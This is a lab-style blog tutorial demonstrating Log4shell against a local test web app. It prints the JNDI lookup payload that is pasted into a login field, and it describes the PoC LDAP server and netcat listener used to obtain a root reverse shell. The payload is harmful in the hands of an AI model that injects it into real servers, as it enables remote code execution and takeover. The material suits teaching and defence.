Exploiting Log4shell

This article is intended to show the Log4shell exploit in action. If you’re unfamiliar with what Log4shell is, please read this article. Essentially, we’re going to have a test web application set up, along with the actual exploit that has been made ready to show as proof of concept. Let’s get hacking!

Scenario

We’ve just discovered a web application that is vulnerable to the Log4shell exploit. We want to be able to get a reverse shell on the webserver in order to control the server remotely. Once we do that, we can then continue to perform whatever hacking is necessary to achieve our end goal (data exfiltration, deploy crypto mining malware or ransomware, etc.).

Concept

Log4shell is a vulnerability recently discovered in the log4j java library. Log4j is a logging framework that records various events in a given application that can be read by a system administrator. These events can include user input, error messages and system routines. Log4j also utilizes a feature called lookups, which can be used to retrieve data from remote locations. If done correctly, a hacker can craft a special string that log4j will read, interpolate and execute code from a remote server that the attacker owns. The Java Naming and Directory Interface (JNDI) is the specific lookup that we will target to exploit this vulnerability.

Tools Used

• Operating System: Linux (Pop-OS)
• Netcat: utility to read and write data across networks
• Python3: programming language used to compile exploit
• Docker: containerizing software that holds the vulnerable app
• Proof of Concept Github page: Log4shell POC

If you’re following along while reading, I’m going to assume you have everything downloaded and installed correctly after this point.

The Attack

Here is the web application we will be attacking:

It is a simple page with login credential fields. Remember, we want to be able to pass a string to log4j to query. User input is a great way to do that. Therefore the login credential fields will be our attack vector.

There are only 2 things that we need to run: One is going to be the github poc script, which will create an LDAP server for us and set up the “malicious code” that log4j will execute on it. The other running piece is going to be a netcat listener that will receive the connection and start a reverse shell once the malicious code has been executed. Let’s run the poc script from the github page:

We can see that an LDAP server has been created for us, and they even gave us a string that we can use to input into the login fields. Let’s also start up our netcat listener in a different terminal:

The netcat listener is listening over port 9001, which is the listening port we gave to the exploit in the command when we set it up in the preivous section. This means that when we paste the string into the login field, the listener we set up should recognize that port 9001 is going to be used to complete the connection and spawn a reverse shell. Now everything should be ready to perform the exploit. The only thing we need to do is take the string ${jndi:ldap://localhost:1389/a} and paste it into the login field. Here is what that looks like:

All we’ve done is add the string to the username field and random text to the password field. Once we hit login, the exploit should work. Now let’s turn our attention back to the poc terminal where we initiated the exploit:

Now we see that there was an LDAP reference which took the string we inputted into the field that log4j interpolated and then ultimately ran the code that’s in “Exploit.class” hosted on our LDAP server. This is good! It means it worked as far as we know. However, let’s check our netcat listener to see if we see any results:

Success!! We see a “Connection received on 127.0.0.1 54386”. Ultimately, this means our reverse shell worked, and we now can execute commands on the webserver remotely. I’ve already chosen 3 simple but powerful commands that give us some information about the server that hosts the web application.

The first command is “ls”: This gives us information about files and folders in the current directory we are in. Ls also has other options which can show read/write/execute permissions on those files/folders.

The second command is “pwd”: This command tells us exactly where we are on the machine. It gives information about the current directory and path of that directory. In this example I am in the /usr/local/tomcat directory.

The last command is “whoami”: This command tells you the username of the current user. It may not seem like much, but as you can see it spit out “root” when we typed it in. This means I am the root user on this server, which basically allows me full permission to read/write/execute files and invoke privileged commands that normal users wouldn’t have. You can think of it like an administrator credential. Often times when machines are exploited, the hacker will not have root access. This is where privilege escalation techniques will be used.

The hack is complete!

Conclusion

We can see that this exploit did not require a ridiculous amount of technical expertise to complete. Although the LDAP server and malicious code were created for us, setting these up manually is not hard to do. You can even push the exploit over other protocols such as DNS. So there are a lot of possibilities and creative ways that you can go about exploiting this vulnerability. You can bet that attackers will be trying to execute this in a stealthy manner that wouldn’t be normally detected by security tools.

As stated in my article on Log4shell, the problem is that there are millions upon millions of vulnerable devices, which more than likely aren’t all patched. Hackers are constantly combing the internet for webservers and other devices that may be vulnerable to the exploit. It only takes one device in a network to be vulnerable that could be the downfall to a major part of the security posture of the organization.

Only time will tell how bad the fall out from this vulnerability will be. There is already evidence of this exploit being used in the wild to leverage ransomware, cryptomining and botnet activity across enterprise networks. In the meantime, the best thing we can do individually is to continue to adhere to best security practices; (including but not limited to) updating software when made available, use 2FA with strong passwords and be aware of phishing or suspicious emails.

Thank you for reading!